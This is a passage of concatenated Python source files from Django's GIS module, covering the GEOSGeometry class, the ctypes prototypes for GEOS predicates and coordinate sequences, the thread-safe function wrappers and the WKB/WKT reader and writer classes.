        Returns a clone because the copy of a GEOSGeometry may contain an
        invalid pointer location if the original is garbage collected.
        """
        return self.clone()

    def __deepcopy__(self, memodict):
        """
        The `deepcopy` routine is used by the `Node` class of django.utils.tree;
        thus, the protocol routine needs to be implemented to return correct
        copies (clones) of these GEOS objects, which use C pointers.
        """
        return self.clone()

    def __str__(self):
        "EWKT is used for the string representation."
        return self.ewkt

    def __repr__(self):
        "Short-hand representation because WKT may be very large."
        return '<%s object at %s>' % (self.geom_type, hex(addressof(self.ptr)))

    # Pickling support
    def __getstate__(self):
        # The pickled state is simply a tuple of the WKB (in string form)
        # and the SRID.
        return bytes(self.wkb), self.srid

    def __setstate__(self, state):
        # Instantiating from the tuple state that was pickled.
        wkb, srid = state
        ptr = wkb_r().read(six.memoryview(wkb))
        if not ptr:
            raise GEOSException('Invalid Geometry loaded from pickled state.')
        self.ptr = ptr
        self._post_init(srid)

    @classmethod
    def from_gml(cls, gml_string):
        return gdal.OGRGeometry.from_gml(gml_string).geos

    # Comparison operators
    def __eq__(self, other):
        """
        Equivalence testing, a Geometry may be compared with another Geometry
        or a WKT representation.
        """
        if isinstance(other, six.string_types):
            return self.wkt == other
        elif isinstance(other, GEOSGeometry):
            return self.equals_exact(other)
        else:
            return False

    def __ne__(self, other):
        "The not equals operator."
        return not (self == other)

    # ### Geometry set-like operations ###
    # Thanks to Sean Gillies for inspiration:
    #  http://lists.gispython.org/pipermail/community/2007-July/001034.html
    # g = g1 | g2
    def __or__(self, other):
        "Returns the union of this Geometry and the other."
        return self.union(other)

    # g = g1 & g2
    def __and__(self, other):
        "Returns the intersection of this Geometry and the other."
        return self.intersection(other)

    # g = g1 - g2
    def __sub__(self, other):
        "Return the difference this Geometry and the other."
        return self.difference(other)

    # g = g1 ^ g2
    def __xor__(self, other):
        "Return the symmetric difference of this Geometry and the other."
        return self.sym_difference(other)

    # #### Coordinate Sequence Routines ####
    def _set_cs(self):
        "Sets the coordinate sequence for this Geometry."
        if self.has_cs:
            self._cs = GEOSCoordSeq(capi.get_cs(self.ptr), self.hasz)
        else:
            self._cs = None

    @property
    def coord_seq(self):
        "Returns a clone of the coordinate sequence for this Geometry."
        if self.has_cs:
            return self._cs.clone()

    # #### Geometry Info ####
    @property
    def geom_type(self):
        "Returns a string representing the Geometry type, e.g. 'Polygon'"
        return capi.geos_type(self.ptr).decode()

    @property
    def geom_typeid(self):
        "Returns an integer representing the Geometry type."
        return capi.geos_typeid(self.ptr)

    @property
    def num_geom(self):
        "Returns the number of geometries in the Geometry."
        return capi.get_num_geoms(self.ptr)

    @property
    def num_coords(self):
        "Returns the number of coordinates in the Geometry."
        return capi.get_num_coords(self.ptr)

    @property
    def num_points(self):
        "Returns the number points, or coordinates, in the Geometry."
        return self.num_coords

    @property
    def dims(self):
        "Returns the dimension of this Geometry (0=point, 1=line, 2=surface)."
        return capi.get_dims(self.ptr)

    def normalize(self):
        "Converts this Geometry to normal form (or canonical form)."
        return capi.geos_normalize(self.ptr)

    # #### Unary predicates ####
    @property
    def empty(self):
        """
        Returns a boolean indicating whether the set of points in this Geometry
        are empty.
        """
        return capi.geos_isempty(self.ptr)

    @property
    def hasz(self):
        "Returns whether the geometry has a 3D dimension."
        return capi.geos_hasz(self.ptr)

    @property
    def ring(self):
        "Returns whether or not the geometry is a ring."
        return capi.geos_isring(self.ptr)

    @property
    def simple(self):
        "Returns false if the Geometry not simple."
        return capi.geos_issimple(self.ptr)

    @property
    def valid(self):
        "This property tests the validity of this Geometry."
        return capi.geos_isvalid(self.ptr)

    @property
    def valid_reason(self):
        """
        Returns a string containing the reason for any invalidity.
        """
        return capi.geos_isvalidreason(self.ptr).decode()

    # #### Binary predicates. ####
    def contains(self, other):
        "Returns true if other.within(this) returns true."
        return capi.geos_contains(self.ptr, other.ptr)

    def covers(self, other):
        """
        Return True if the DE-9IM Intersection Matrix for the two geometries is
        T*****FF*, *T****FF*, ***T**FF*, or ****T*FF*. If either geometry is
        empty, return False.
        """
        return capi.geos_covers(self.ptr, other.ptr)

    def crosses(self, other):
        """
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is T*T****** (for a point and a curve,a point and an area or a line and
        an area) 0******** (for two curves).
        """
        return capi.geos_crosses(self.ptr, other.ptr)

    def disjoint(self, other):
        """
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is FF*FF****.
        """
        return capi.geos_disjoint(self.ptr, other.ptr)

    def equals(self, other):
        """
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is T*F**FFF*.
        """
        return capi.geos_equals(self.ptr, other.ptr)

    def equals_exact(self, other, tolerance=0):
        """
        Returns true if the two Geometries are exactly equal, up to a
        specified tolerance.
        """
        return capi.geos_equalsexact(self.ptr, other.ptr, float(tolerance))

    def intersects(self, other):
        "Returns true if disjoint returns false."
        return capi.geos_intersects(self.ptr, other.ptr)

    def overlaps(self, other):
        """
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is T*T***T** (for two points or two surfaces) 1*T***T** (for two curves).
        """
        return capi.geos_overlaps(self.ptr, other.ptr)

    def relate_pattern(self, other, pattern):
        """
        Returns true if the elements in the DE-9IM intersection matrix for the
        two Geometries match the elements in pattern.
        """
        if not isinstance(pattern, six.string_types) or len(pattern) > 9:
            raise GEOSException('invalid intersection matrix pattern')
        return capi.geos_relatepattern(self.ptr, other.ptr, force_bytes(pattern))

    def touches(self, other):
        """
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is FT*******, F**T***** or F***T****.
        """
        return capi.geos_touches(self.ptr, other.ptr)

    def within(self, other):
        """
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is T*F**F***.
        """
        return capi.geos_within(self.ptr, other.ptr)

    # #### SRID Routines ####
    @property
    def srid(self):
        "Gets the SRID for the geometry, returns None if no SRID is set."
        s = capi.geos_get_srid(self.ptr)
        if s == 0:
            return None
        else:
            return s

    @srid.setter
    def srid(self, srid):
        "Sets the SRID for the geometry."
        capi.geos_set_srid(self.ptr, 0 if srid is None else srid)

    def get_srid(self):
        warnings.warn(
            "`get_srid()` is deprecated, use the `srid` property instead.",
            RemovedInDjango20Warning, 2
        )
        return self.srid

    def set_srid(self, srid):
        warnings.warn(
            "`set_srid()` is deprecated, use the `srid` property instead.",
            RemovedInDjango20Warning, 2
        )
        self.srid = srid

    # #### Output Routines ####
    @property
    def ewkt(self):
        """
        Returns the EWKT (SRID + WKT) of the Geometry.
        """
        srid = self.srid
        return 'SRID=%s;%s' % (srid, self.wkt) if srid else self.wkt

    @property
    def wkt(self):
        "Returns the WKT (Well-Known Text) representation of this Geometry."
        return wkt_w(dim=3 if self.hasz else 2, trim=True).write(self).decode()

    @property
    def hex(self):
        """
        Returns the WKB of this Geometry in hexadecimal form.  Please note
        that the SRID is not included in this representation because it is not
        a part of the OGC specification (use the `hexewkb` property instead).
        """
        # A possible faster, all-python, implementation:
        #  str(self.wkb).encode('hex')
        return wkb_w(dim=3 if self.hasz else 2).write_hex(self)

    @property
    def hexewkb(self):
        """
        Returns the EWKB of this Geometry in hexadecimal form.  This is an
        extension of the WKB specification that includes SRID value that are
        a part of this geometry.
        """
        return ewkb_w(dim=3 if self.hasz else 2).write_hex(self)

    @property
    def json(self):
        """
        Returns GeoJSON representation of this Geometry.
        """
        return json.dumps({'type': self.__class__.__name__, 'coordinates': self.coords})
    geojson = json

    @property
    def wkb(self):
        """
        Returns the WKB (Well-Known Binary) representation of this Geometry
        as a Python buffer.  SRID and Z values are not included, use the
        `ewkb` property instead.
        """
        return wkb_w(3 if self.hasz else 2).write(self)

    @property
    def ewkb(self):
        """
        Return the EWKB representation of this Geometry as a Python buffer.
        This is an extension of the WKB specification that includes any SRID
        value that are a part of this geometry.
        """
        return ewkb_w(3 if self.hasz else 2).write(self)

    @property
    def kml(self):
        "Returns the KML representation of this Geometry."
        gtype = self.geom_type
        return '<%s>%s</%s>' % (gtype, self.coord_seq.kml, gtype)

    @property
    def prepared(self):
        """
        Returns a PreparedGeometry corresponding to this geometry -- it is
        optimized for the contains, intersects, and covers operations.
        """
        return PreparedGeometry(self)

    # #### GDAL-specific output routines ####
    @property
    def ogr(self):
        "Returns the OGR Geometry for this Geometry."
        if self.srid:
            try:
                return gdal.OGRGeometry(self.wkb, self.srid)
            except gdal.SRSException:
                pass
        return gdal.OGRGeometry(self.wkb)

    @property
    def srs(self):
        "Returns the OSR SpatialReference for SRID of this Geometry."
        if self.srid:
            try:
                return gdal.SpatialReference(self.srid)
            except gdal.SRSException:
                pass
        return None

    @property
    def crs(self):
        "Alias for `srs` property."
        return self.srs

    def transform(self, ct, clone=False):
        """
        Requires GDAL. Transforms the geometry according to the given
        transformation object, which may be an integer SRID, and WKT or
        PROJ.4 string. By default, the geometry is transformed in-place and
        nothing is returned. However if the `clone` keyword is set, then this
        geometry will not be modified and a transformed clone will be returned
        instead.
        """
        srid = self.srid

        if ct == srid:
            # short-circuit where source & dest SRIDs match
            if clone:
                return self.clone()
            else:
                return

        if isinstance(ct, gdal.CoordTransform):
            # We don't care about SRID because CoordTransform presupposes
            # source SRS.
            srid = None
        elif srid is None or srid < 0:
            raise GEOSException("Calling transform() with no SRID set is not supported")

        # Creating an OGR Geometry, which is then transformed.
        g = gdal.OGRGeometry(self.wkb, srid)
        g.transform(ct)
        # Getting a new GEOS pointer
        ptr = wkb_r().read(g.wkb)
        if clone:
            # User wants a cloned transformed geometry returned.
            return GEOSGeometry(ptr, srid=g.srid)
        if ptr:
            # Reassigning pointer, and performing post-initialization setup
            # again due to the reassignment.
            capi.destroy_geom(self.ptr)
            self.ptr = ptr
            self._post_init(g.srid)
        else:
            raise GEOSException('Transformed WKB was invalid.')

    # #### Topology Routines ####
    def _topology(self, gptr):
        "Helper routine to return Geometry from the given pointer."
        return GEOSGeometry(gptr, srid=self.srid)

    @property
    def boundary(self):
        "Returns the boundary as a newly allocated Geometry object."
        return self._topology(capi.geos_boundary(self.ptr))

    def buffer(self, width, quadsegs=8):
        """
        Returns a geometry that represents all points whose distance from this
        Geometry is less than or equal to distance. Calculations are in the
        Spatial Reference System of this Geometry. The optional third parameter sets
        the number of segment used to approximate a quarter circle (defaults to 8).
        (Text from PostGIS documentation at ch. 6.1.3)
        """
        return self._topology(capi.geos_buffer(self.ptr, width, quadsegs))

    @property
    def centroid(self):
        """
        The centroid is equal to the centroid of the set of component Geometries
        of highest dimension (since the lower-dimension geometries contribute zero
        "weight" to the centroid).
        """
        return self._topology(capi.geos_centroid(self.ptr))

    @property
    def convex_hull(self):
        """
        Returns the smallest convex Polygon that contains all the points
        in the Geometry.
        """
        return self._topology(capi.geos_convexhull(self.ptr))

    def difference(self, other):
        """
        Returns a Geometry representing the points making up this Geometry
        that do not make up other.
        """
        return self._topology(capi.geos_difference(self.ptr, other.ptr))

    @property
    def envelope(self):
        "Return the envelope for this geometry (a polygon)."
        return self._topology(capi.geos_envelope(self.ptr))

    def intersection(self, other):
        "Returns a Geometry representing the points shared by this Geometry and other."
        return self._topology(capi.geos_intersection(self.ptr, other.ptr))

    @property
    def point_on_surface(self):
        "Computes an interior point of this Geometry."
        return self._topology(capi.geos_pointonsurface(self.ptr))

    def relate(self, other):
        "Returns the DE-9IM intersection matrix for this Geometry and the other."
        return capi.geos_relate(self.ptr, other.ptr).decode()

    def simplify(self, tolerance=0.0, preserve_topology=False):
        """
        Returns the Geometry, simplified using the Douglas-Peucker algorithm
        to the specified tolerance (higher tolerance => less points).  If no
        tolerance provided, defaults to 0.

        By default, this function does not preserve topology - e.g. polygons can
        be split, collapse to lines or disappear holes can be created or
        disappear, and lines can cross. By specifying preserve_topology=True,
        the result will have the same dimension and number of components as the
        input. This is significantly slower.
        """
        if preserve_topology:
            return self._topology(capi.geos_preservesimplify(self.ptr, tolerance))
        else:
            return self._topology(capi.geos_simplify(self.ptr, tolerance))

    def sym_difference(self, other):
        """
        Returns a set combining the points in this Geometry not in other,
        and the points in other not in this Geometry.
        """
        return self._topology(capi.geos_symdifference(self.ptr, other.ptr))

    @property
    def unary_union(self):
        "Return the union of all the elements of this geometry."
        return self._topology(capi.geos_unary_union(self.ptr))

    def union(self, other):
        "Returns a Geometry representing all the points in this Geometry and other."
        return self._topology(capi.geos_union(self.ptr, other.ptr))

    # #### Other Routines ####
    @property
    def area(self):
        "Returns the area of the Geometry."
        return capi.geos_area(self.ptr, byref(c_double()))

    def distance(self, other):
        """
        Returns the distance between the closest points on this Geometry
        and the other. Units will be in those of the coordinate system of
        the Geometry.
        """
        if not isinstance(other, GEOSGeometry):
            raise TypeError('distance() works only on other GEOS Geometries.')
        return capi.geos_distance(self.ptr, other.ptr, byref(c_double()))

    @property
    def extent(self):
        """
        Returns the extent of this geometry as a 4-tuple, consisting of
        (xmin, ymin, xmax, ymax).
        """
        from .point import Point
        env = self.envelope
        if isinstance(env, Point):
            xmin, ymin = env.tuple
            xmax, ymax = xmin, ymin
        else:
            xmin, ymin = env[0][0]
            xmax, ymax = env[0][2]
        return (xmin, ymin, xmax, ymax)

    @property
    def length(self):
        """
        Returns the length of this Geometry (e.g., 0 for point, or the
        circumference of a Polygon).
        """
        return capi.geos_length(self.ptr, byref(c_double()))

    def clone(self):
        "Clones this Geometry."
        return GEOSGeometry(capi.geom_clone(self.ptr), srid=self.srid)


class LinearGeometryMixin(object):
    """
    Used for LineString and MultiLineString.
    """
    def interpolate(self, distance):
        return self._topology(capi.geos_interpolate(self.ptr, distance))

    def interpolate_normalized(self, distance):
        return self._topology(capi.geos_interpolate_normalized(self.ptr, distance))

    def project(self, point):
        from .point import Point
        if not isinstance(point, Point):
            raise TypeError('locate_point argument must be a Point')
        return capi.geos_project(self.ptr, point.ptr)

    def project_normalized(self, point):
        from .point import Point
        if not isinstance(point, Point):
            raise TypeError('locate_point argument must be a Point')
        return capi.geos_project_normalized(self.ptr, point.ptr)

    @property
    def merged(self):
        """
        Return the line merge of this Geometry.
        """
        return self._topology(capi.geos_linemerge(self.ptr))

    @property
    def closed(self):
        """
        Return whether or not this Geometry is closed.
        """
        return capi.geos_isclosed(self.ptr)






"""
 This module houses the GEOS ctypes prototype functions for the
 unary and binary predicate operations on geometries.
"""
from ctypes import c_char, c_char_p, c_double

from django.contrib.gis.geos.libgeos import GEOM_PTR, GEOSFuncFactory
from django.contrib.gis.geos.prototypes.errcheck import check_predicate


# ## Binary & unary predicate factories ##
class UnaryPredicate(GEOSFuncFactory):
    "For GEOS unary predicate functions."
    argtypes = [GEOM_PTR]
    restype = c_char
    errcheck = staticmethod(check_predicate)


class BinaryPredicate(UnaryPredicate):
    "For GEOS binary predicate functions."
    argtypes = [GEOM_PTR, GEOM_PTR]


# ## Unary Predicates ##
geos_hasz = UnaryPredicate('GEOSHasZ')
geos_isclosed = UnaryPredicate('GEOSisClosed')
geos_isempty = UnaryPredicate('GEOSisEmpty')
geos_isring = UnaryPredicate('GEOSisRing')
geos_issimple = UnaryPredicate('GEOSisSimple')
geos_isvalid = UnaryPredicate('GEOSisValid')

# ## Binary Predicates ##
geos_contains = BinaryPredicate('GEOSContains')
geos_covers = BinaryPredicate('GEOSCovers')
geos_crosses = BinaryPredicate('GEOSCrosses')
geos_disjoint = BinaryPredicate('GEOSDisjoint')
geos_equals = BinaryPredicate('GEOSEquals')
geos_equalsexact = BinaryPredicate('GEOSEqualsExact', argtypes=[GEOM_PTR, GEOM_PTR, c_double])
geos_intersects = BinaryPredicate('GEOSIntersects')
geos_overlaps = BinaryPredicate('GEOSOverlaps')
geos_relatepattern = BinaryPredicate('GEOSRelatePattern', argtypes=[GEOM_PTR, GEOM_PTR, c_char_p])
geos_touches = BinaryPredicate('GEOSTouches')
geos_within = BinaryPredicate('GEOSWithin')






from ctypes import c_char

from django.contrib.gis.geos.libgeos import (
    GEOM_PTR, PREPGEOM_PTR, GEOSFuncFactory,
)
from django.contrib.gis.geos.prototypes.errcheck import check_predicate

# Prepared geometry constructor and destructors.
geos_prepare = GEOSFuncFactory('GEOSPrepare', argtypes=[GEOM_PTR], restype=PREPGEOM_PTR)
prepared_destroy = GEOSFuncFactory('GEOSPreparedGeom_destroy', argtypes=[PREPGEOM_PTR])


# Prepared geometry binary predicate support.
class PreparedPredicate(GEOSFuncFactory):
    argtypes = [PREPGEOM_PTR, GEOM_PTR]
    restype = c_char
    errcheck = staticmethod(check_predicate)


prepared_contains = PreparedPredicate('GEOSPreparedContains')
prepared_contains_properly = PreparedPredicate('GEOSPreparedContainsProperly')
prepared_covers = PreparedPredicate('GEOSPreparedCovers')
prepared_crosses = PreparedPredicate('GEOSPreparedCrosses')
prepared_disjoint = PreparedPredicate('GEOSPreparedDisjoint')
prepared_intersects = PreparedPredicate('GEOSPreparedIntersects')
prepared_overlaps = PreparedPredicate('GEOSPreparedOverlaps')
prepared_touches = PreparedPredicate('GEOSPreparedTouches')
prepared_within = PreparedPredicate('GEOSPreparedWithin')






import threading

from django.contrib.gis.geos.libgeos import (
    CONTEXT_PTR, error_h, lgeos, notice_h,
)


class GEOSContextHandle(object):
    """
    Python object representing a GEOS context handle.
    """
    def __init__(self):
        # Initializing the context handler for this thread with
        # the notice and error handler.
        self.ptr = lgeos.initGEOS_r(notice_h, error_h)

    def __del__(self):
        if self.ptr and lgeos:
            lgeos.finishGEOS_r(self.ptr)


# Defining a thread-local object and creating an instance
# to hold a reference to GEOSContextHandle for this thread.
class GEOSContext(threading.local):
    handle = None

thread_context = GEOSContext()


class GEOSFunc(object):
    """
    Class that serves as a wrapper for GEOS C Functions, and will
    use thread-safe function variants when available.
    """
    def __init__(self, func_name):
        try:
            # GEOS thread-safe function signatures end with '_r', and
            # take an additional context handle parameter.
            self.cfunc = getattr(lgeos, func_name + '_r')
            self.threaded = True
            # Create a reference here to thread_context so it's not
            # garbage-collected before an attempt to call this object.
            self.thread_context = thread_context
        except AttributeError:
            # Otherwise, use usual function.
            self.cfunc = getattr(lgeos, func_name)
            self.threaded = False

    def __call__(self, *args):
        if self.threaded:
            # If a context handle does not exist for this thread, initialize one.
            if not self.thread_context.handle:
                self.thread_context.handle = GEOSContextHandle()
            # Call the threaded GEOS routine with pointer of the context handle
            # as the first argument.
            return self.cfunc(self.thread_context.handle.ptr, *args)
        else:
            return self.cfunc(*args)

    def __str__(self):
        return self.cfunc.__name__

    # argtypes property
    def _get_argtypes(self):
        return self.cfunc.argtypes

    def _set_argtypes(self, argtypes):
        if self.threaded:
            new_argtypes = [CONTEXT_PTR]
            new_argtypes.extend(argtypes)
            self.cfunc.argtypes = new_argtypes
        else:
            self.cfunc.argtypes = argtypes

    argtypes = property(_get_argtypes, _set_argtypes)

    # restype property
    def _get_restype(self):
        return self.cfunc.restype

    def _set_restype(self, restype):
        self.cfunc.restype = restype

    restype = property(_get_restype, _set_restype)

    # errcheck property
    def _get_errcheck(self):
        return self.cfunc.errcheck

    def _set_errcheck(self, errcheck):
        self.cfunc.errcheck = errcheck

    errcheck = property(_get_errcheck, _set_errcheck)






from ctypes import POINTER, c_double, c_int, c_uint

from django.contrib.gis.geos.libgeos import CS_PTR, GEOM_PTR, GEOSFuncFactory
from django.contrib.gis.geos.prototypes.errcheck import (
    GEOSException, last_arg_byref,
)


# ## Error-checking routines specific to coordinate sequences. ##
def check_cs_op(result, func, cargs):
    "Checks the status code of a coordinate sequence operation."
    if result == 0:
        raise GEOSException('Could not set value on coordinate sequence')
    else:
        return result


def check_cs_get(result, func, cargs):
    "Checking the coordinate sequence retrieval."
    check_cs_op(result, func, cargs)
    # Object in by reference, return its value.
    return last_arg_byref(cargs)


# ## Coordinate sequence prototype factory classes. ##
class CsInt(GEOSFuncFactory):
    "For coordinate sequence routines that return an integer."
    argtypes = [CS_PTR, POINTER(c_uint)]
    restype = c_int
    errcheck = staticmethod(check_cs_get)


class CsOperation(GEOSFuncFactory):
    "For coordinate sequence operations."
    restype = c_int

    def get_func(self, ordinate=False, get=False):
        if get:
            # Get routines have double parameter passed-in by reference.
            self.errcheck = check_cs_get
            dbl_param = POINTER(c_double)
        else:
            self.errcheck = check_cs_op
            dbl_param = c_double

        if ordinate:
            # Get/Set ordinate routines have an extra uint parameter.
            self.argtypes = [CS_PTR, c_uint, c_uint, dbl_param]
        else:
            self.argtypes = [CS_PTR, c_uint, dbl_param]
        return super(CsOperation, self).get_func()


class CsOutput(GEOSFuncFactory):
    restype = CS_PTR

    def get_func(self, argtypes):
        self.argtypes = argtypes
        return super(CsOutput, self).get_func()

    @staticmethod
    def errcheck(result, func, cargs):
        if not result:
            raise GEOSException(
                'Error encountered checking Coordinate Sequence returned from GEOS '
                'C function "%s".' % func.__name__
            )
        return result


# ## Coordinate Sequence ctypes prototypes ##

# Coordinate Sequence constructors & cloning.
cs_clone = CsOutput('GEOSCoordSeq_clone', [CS_PTR])
create_cs = CsOutput('GEOSCoordSeq_create', [c_uint, c_uint])
get_cs = CsOutput('GEOSGeom_getCoordSeq', [GEOM_PTR])

# Getting, setting ordinate
cs_getordinate = CsOperation('GEOSCoordSeq_getOrdinate', ordinate=True, get=True)
cs_setordinate = CsOperation('GEOSCoordSeq_setOrdinate', ordinate=True)

# For getting, x, y, z
cs_getx = CsOperation('GEOSCoordSeq_getX', get=True)
cs_gety = CsOperation('GEOSCoordSeq_getY', get=True)
cs_getz = CsOperation('GEOSCoordSeq_getZ', get=True)

# For setting, x, y, z
cs_setx = CsOperation('GEOSCoordSeq_setX')
cs_sety = CsOperation('GEOSCoordSeq_setY')
cs_setz = CsOperation('GEOSCoordSeq_setZ')

# These routines return size & dimensions.
cs_getsize = CsInt('GEOSCoordSeq_getSize')
cs_getdims = CsInt('GEOSCoordSeq_getDimensions')






import threading
from ctypes import POINTER, Structure, byref, c_char, c_char_p, c_int, c_size_t

from django.contrib.gis.geos.base import GEOSBase
from django.contrib.gis.geos.libgeos import GEOM_PTR, GEOSFuncFactory
from django.contrib.gis.geos.prototypes.errcheck import (
    check_geom, check_sized_string, check_string,
)
from django.contrib.gis.geos.prototypes.geom import c_uchar_p, geos_char_p
from django.utils import six
from django.utils.encoding import force_bytes


# ### The WKB/WKT Reader/Writer structures and pointers ###
class WKTReader_st(Structure):
    pass


class WKTWriter_st(Structure):
    pass


class WKBReader_st(Structure):
    pass


class WKBWriter_st(Structure):
    pass

WKT_READ_PTR = POINTER(WKTReader_st)
WKT_WRITE_PTR = POINTER(WKTWriter_st)
WKB_READ_PTR = POINTER(WKBReader_st)
WKB_WRITE_PTR = POINTER(WKBReader_st)

# WKTReader routines
wkt_reader_create = GEOSFuncFactory('GEOSWKTReader_create', restype=WKT_READ_PTR)
wkt_reader_destroy = GEOSFuncFactory('GEOSWKTReader_destroy', argtypes=[WKT_READ_PTR])

wkt_reader_read = GEOSFuncFactory(
    'GEOSWKTReader_read', argtypes=[WKT_READ_PTR, c_char_p], restype=GEOM_PTR, errcheck=check_geom
)
# WKTWriter routines
wkt_writer_create = GEOSFuncFactory('GEOSWKTWriter_create', restype=WKT_WRITE_PTR)
wkt_writer_destroy = GEOSFuncFactory('GEOSWKTWriter_destroy', argtypes=[WKT_WRITE_PTR])

wkt_writer_write = GEOSFuncFactory(
    'GEOSWKTWriter_write', argtypes=[WKT_WRITE_PTR, GEOM_PTR], restype=geos_char_p, errcheck=check_string
)

wkt_writer_get_outdim = GEOSFuncFactory(
    'GEOSWKTWriter_getOutputDimension', argtypes=[WKT_WRITE_PTR], restype=c_int
)
wkt_writer_set_outdim = GEOSFuncFactory(
    'GEOSWKTWriter_setOutputDimension', argtypes=[WKT_WRITE_PTR, c_int]
)

wkt_writer_set_trim = GEOSFuncFactory('GEOSWKTWriter_setTrim', argtypes=[WKT_WRITE_PTR, c_char])
wkt_writer_set_precision = GEOSFuncFactory('GEOSWKTWriter_setRoundingPrecision', argtypes=[WKT_WRITE_PTR, c_int])

# WKBReader routines
wkb_reader_create = GEOSFuncFactory('GEOSWKBReader_create', restype=WKB_READ_PTR)
wkb_reader_destroy = GEOSFuncFactory('GEOSWKBReader_destroy', argtypes=[WKB_READ_PTR])


class WKBReadFunc(GEOSFuncFactory):
    # Although the function definitions take `const unsigned char *`
    # as their parameter, we use c_char_p here so the function may
    # take Python strings directly as parameters.  Inside Python there
    # is not a difference between signed and unsigned characters, so
    # it is not a problem.
    argtypes = [WKB_READ_PTR, c_char_p, c_size_t]
    restype = GEOM_PTR
    errcheck = staticmethod(check_geom)


wkb_reader_read = WKBReadFunc('GEOSWKBReader_read')
wkb_reader_read_hex = WKBReadFunc('GEOSWKBReader_readHEX')

# WKBWriter routines
wkb_writer_create = GEOSFuncFactory('GEOSWKBWriter_create', restype=WKB_WRITE_PTR)
wkb_writer_destroy = GEOSFuncFactory('GEOSWKBWriter_destroy', argtypes=[WKB_WRITE_PTR])


# WKB Writing prototypes.
class WKBWriteFunc(GEOSFuncFactory):
    argtypes = [WKB_WRITE_PTR, GEOM_PTR, POINTER(c_size_t)]
    restype = c_uchar_p
    errcheck = staticmethod(check_sized_string)


wkb_writer_write = WKBWriteFunc('GEOSWKBWriter_write')
wkb_writer_write_hex = WKBWriteFunc('GEOSWKBWriter_writeHEX')


# WKBWriter property getter/setter prototypes.
class WKBWriterGet(GEOSFuncFactory):
    argtypes = [WKB_WRITE_PTR]
    restype = c_int


class WKBWriterSet(GEOSFuncFactory):
    argtypes = [WKB_WRITE_PTR, c_int]

wkb_writer_get_byteorder = WKBWriterGet('GEOSWKBWriter_getByteOrder')
wkb_writer_set_byteorder = WKBWriterSet('GEOSWKBWriter_setByteOrder')
wkb_writer_get_outdim = WKBWriterGet('GEOSWKBWriter_getOutputDimension')
wkb_writer_set_outdim = WKBWriterSet('GEOSWKBWriter_setOutputDimension')
wkb_writer_get_include_srid = WKBWriterGet('GEOSWKBWriter_getIncludeSRID', restype=c_char)
wkb_writer_set_include_srid = WKBWriterSet('GEOSWKBWriter_setIncludeSRID', argtypes=[WKB_WRITE_PTR, c_char])


# ### Base I/O Class ###
class IOBase(GEOSBase):
    "Base class for GEOS I/O objects."
    def __init__(self):
        # Getting the pointer with the constructor.
        self.ptr = self._constructor()
        # Loading the real destructor function at this point as doing it in
        # __del__ is too late (import error).
        self._destructor.func = self._destructor.get_func(
            *self._destructor.args, **self._destructor.kwargs
        )

    def __del__(self):
        # Cleaning up with the appropriate destructor.
        try:
            self._destructor(self._ptr)
        except (AttributeError, TypeError):
            pass  # Some part might already have been garbage collected

# ### Base WKB/WKT Reading and Writing objects ###


# Non-public WKB/WKT reader classes for internal use because
# their `read` methods return _pointers_ instead of GEOSGeometry
# objects.
class _WKTReader(IOBase):
    _constructor = wkt_reader_create
    _destructor = wkt_reader_destroy
    ptr_type = WKT_READ_PTR

    def read(self, wkt):
        if not isinstance(wkt, (bytes, six.string_types)):
            raise TypeError
        return wkt_reader_read(self.ptr, force_bytes(wkt))


class _WKBReader(IOBase):
    _constructor = wkb_reader_create
    _destructor = wkb_reader_destroy
    ptr_type = WKB_READ_PTR

    def read(self, wkb):
        "Returns a _pointer_ to C GEOS Geometry object from the given WKB."
        if isinstance(wkb, six.memoryview):
            wkb_s = bytes(wkb)
            return wkb_reader_read(self.ptr, wkb_s, len(wkb_s))
        elif isinstance(wkb, (bytes, six.string_types)):
            return wkb_reader_read_hex(self.ptr, wkb, len(wkb))
        else:
            raise TypeError


# ### WKB/WKT Writer Classes ###
class WKTWriter(IOBase):
    _constructor = wkt_writer_create
    _destructor = wkt_writer_destroy
    ptr_type = WKT_WRITE_PTR

    _trim = False
    _precision = None

    def __init__(self, dim=2, trim=False, precision=None):
        super(WKTWriter, self).__init__()
        if bool(trim) != self._trim:
            self.trim = trim
        if precision is not None:
            self.precision = precision
        self.outdim = dim

    def write(self, geom):
        "Returns the WKT representation of the given geometry."
        return wkt_writer_write(self.ptr, geom.ptr)

    @property
    def outdim(self):
        return wkt_writer_get_outdim(self.ptr)

    @outdim.setter
    def outdim(self, new_dim):
        if new_dim not in (2, 3):
            raise ValueError('WKT output dimension must be 2 or 3')
        wkt_writer_set_outdim(self.ptr, new_dim)

    @property
    def trim(self):
        return self._trim

    @trim.setter
    def trim(self, flag):
        if bool(flag) != self._trim:
            self._trim = bool(flag)
            wkt_writer_set_trim(self.ptr, b'\x01' if flag else b'\x00')

    @property
    def precision(self):
        return self._precision

    @precision.setter
    def precision(self, precision):
        if (not isinstance(precision, int) or precision < 0) and precision is not None:
            raise AttributeError('WKT output rounding precision must be non-negative integer or None.')
        if precision != self._precision:
            self._precision = precision
            wkt_writer_set_precision(self.ptr, -1 if precision is None else precision)


class WKBWriter(IOBase):
    _constructor = wkb_writer_create
    _destructor = wkb_writer_destroy
    ptr_type = WKB_WRITE_PTR

    def __init__(self, dim=2):
        super(WKBWriter, self).__init__()
        self.outdim = dim

    def write(self, geom):
        "Returns the WKB representation of the given geometry."
        return six.memoryview(wkb_writer_write(self.ptr, geom.ptr, byref(c_size_t())))

    def write_hex(self, geom):
        "Returns the HEXEWKB representation of the given geometry."
        return wkb_writer_write_hex(self.ptr, geom.ptr, byref(c_size_t()))

    # ### WKBWriter Properties ###

    # Property for getting/setting the byteorder.
    def _get_byteorder(self):
        return wkb_writer_get_byteorder(self.ptr)

    def _set_byteorder(self, order):
        if order not in (0, 1):
            raise ValueError('Byte order parameter must be 0 (Big Endian) or 1 (Little Endian).')
        wkb_writer_set_byteorder(self.ptr, order)

    byteorder = property(_get_byteorder, _set_byteorder)

    # Property for getting/setting the output dimension.
    @property
    def outdim(self):
        return wkb_writer_get_outdim(self.ptr)

    @outdim.setter
    def outdim(self, new_dim):
        if new_dim not in (2, 3):
            raise ValueError('WKB output dimension must be 2 or 3')
        wkb_writer_set_outdim(self.ptr, new_dim)

    # Property for getting/setting the include srid flag.
    @property
    def srid(self):
        return bool(ord(wkb_writer_get_include_srid(self.ptr)))

    @srid.setter
